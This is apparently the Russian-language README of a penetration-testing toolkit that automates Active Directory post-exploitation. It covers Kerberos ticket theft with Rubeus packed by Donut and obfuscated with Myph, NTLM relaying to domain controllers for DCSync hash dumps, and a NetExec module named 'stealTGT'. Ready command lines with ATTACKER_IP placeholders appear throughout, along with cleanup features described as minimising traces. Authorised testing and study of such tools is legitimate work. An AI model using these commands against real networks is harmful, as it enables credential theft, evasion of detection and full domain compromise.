Утилиты для автоматизации пост-эксплуатации и ретрансляции в Active Directory

Этот репозиторий содержит коллекцию скриптов-оркестраторов на Python, предназначенных для оценки безопасности и тестирования на проникновение в средах Active Directory. Эти инструменты специально разработаны для сценариев пост-эксплуатации, когда локальный административный доступ уже получен на скомпрометированной рабочей станции или сервере, а цель — выполнить горизонтальное перемещение или повышение привилегий в рамках более широкого домена Active Directory.

Автоматизируя рабочие процессы с использованием стандартных утилит безопасности, таких как NetExec, Impacket, Donut и BloodyAD, эти скрипты превращают сложные многоэтапные процессы в повторяемые операции, выполняемые одной командой.

Предварительные требования

Скрипты требуют, чтобы следующие инструменты были установлены на хост-системе и доступны в системном PATH:

• Python 3.x
• NetExec (nxc)
• Impacket (impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)
• Donut (генератор шелл-кода)
• Myph (компилятор/обфускатор бинарных файлов)
• BloodyAD (инструмент администрирования Active Directory)
• Стандартные утилиты Linux: awk, base64

Дополнительные зависимости Python

Для улучшенного форматирования вывода в консоли установите следующие пакеты:

pip install colorama rich

Обзор компонентов

1. Оркестратор извлечения TGT (harpyTGT.py)

Этот скрипт автоматизирует извлечение билета предоставления билетов Kerberos (TGT) из активного сеанса Windows и преобразует его в совместимый с Linux формат ccache.

• Сценарий: После получения доступа локального администратора на машине этот инструмент позволяет операторам собирать билеты Kerberos пользователей домена, активных на этом хосте, что позволяет перемещаться по сети без знания их паролей в открытом виде.
• Механизм: Генерирует полезную нагрузку Rubeus.exe в виде шелл-кода через Donut, применяет обфускацию с помощью Myph и выполняет полученный бинарный файл на целевом хосте с помощью либо запланированных задач (schtask_as), либо mmcexec.

Стандартное выполнение (целевой пользователь имеет административные привилегии):

./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe>

Альтернативное выполнение (целевой пользователь не имеет административных привилегий):

./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <ATTACKER_IP>

2. Автоматизация NTLM-ретрансляции (harpyRelay.py)

Этот скрипт координирует атаки NTLM-ретрансляции, нацеленные на неправильно настроенные политики подписи SMB или LDAP на контроллерах домена, для достижения повышения привилегий в рамках домена или выполнения дампа базы данных NTDS (DCSync).

• Сценарий: Используя существующие права локального администратора на скомпрометированном хосте, скрипт заставляет высокопривилегированный процесс (например, сеанс администратора домена) аутентифицироваться обратно на атакующего, ретранслируя эти учетные данные на контроллер домена для компрометации всего домена через LDAP/LDAPS.
• Механизм: Запускает слушатель ntlmrelayx, запускает запрос аутентификации от скомпрометированного клиента через NetExec, отслеживает вывод на предмет успешной эксплуатации и выполняет дамп хэшей домена. Инструмент содержит процедуры автоматической очистки для минимизации следов в целевом домене.

Поток LDAPS (стандартный):

./harpyRelay.py--target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>

Поток LDAP (альтернативный поток, когда LDAPS недоступен):

./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

3. Модуль NetExec: stealTGT

Пользовательский модуль для NetExec (nxc), предназначенный для извлечения билета предоставления билетов Kerberos (TGT) для конкретного вошедшего в систему пользователя на целевой машине.

Модуль взаимодействует через mmcexec от имени SYSTEM, автоматизируя генерацию малозаметной полезной нагрузки (инкапсулирующей Rubeus с помощью Donut и Myph), ее выполнение в памяти, захват вывода билета в Base64 и прозрачное преобразование в файл .ccache, готовый к использованию в Linux.

Предварительные требования на хосте атакующего (Kali Linux)

Модуль автоматически проверяет, что следующие утилиты установлены и доступны в вашем $PATH:

• donut
• myph
• impacket-ticketConverter

Установка модуля

Чтобы загрузить внешний модуль в NetExec, скопируйте скрипт stealTGT.py в локальный каталог модулей NetExec:

cp stealTGT.py ~/.nxc/modules/

Использование и синтаксис

netexec smb <TARGET_IP> -u <ADMIN_USER> -p <ADMIN_PASS> --local-auth -M stealTGT -o USER=<TARGET_USER> RUBEUS=/path/to/Rubeus.exe

Параметры модуля (-o):

• USER: Имя пользователя текущего сеанса, из которого вы хотите получить TGT (например, jdoe).
• RUBEUS: Локальный путь на вашей машине атакующего к легитимному бинарному файлу Rubeus.exe.

Функциональные возможности

• Автоматическая очистка среды: Утилита ретрансляции отслеживает временные учетные записи, созданные во время выполнения, и автоматически пытается удалить их с помощью bloodyad или netexec после завершения операций.
• Обработка сред без TLS: Включает явные запасные варианты для сред, в которых контроллеры домена не поддерживают LDAP через TLS (LDAPS).

Отказ от ответственности

КРИТИЧЕСКОЕ УВЕДОМЛЕНИЕ: Этот репозиторий предназначен строго для авторизованного аудита безопасности, исследований уязвимостей и образовательных целей. Запуск этих инструментов в производственной инфраструктуре без предварительного явного письменного разрешения владельцев системы строго запрещен. Автор не несет ответственности за неправомерное использование, побочный ущерб или юридические последствия, возникшие в результате развертывания данного программного обеспечения.